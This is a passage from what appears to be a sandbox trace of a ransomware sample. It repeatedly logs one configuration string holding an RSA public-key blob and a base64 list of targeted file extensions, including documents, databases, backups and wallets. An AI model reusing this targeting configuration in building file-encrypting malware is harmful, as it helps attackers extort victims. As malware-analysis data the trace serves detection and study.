ubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyN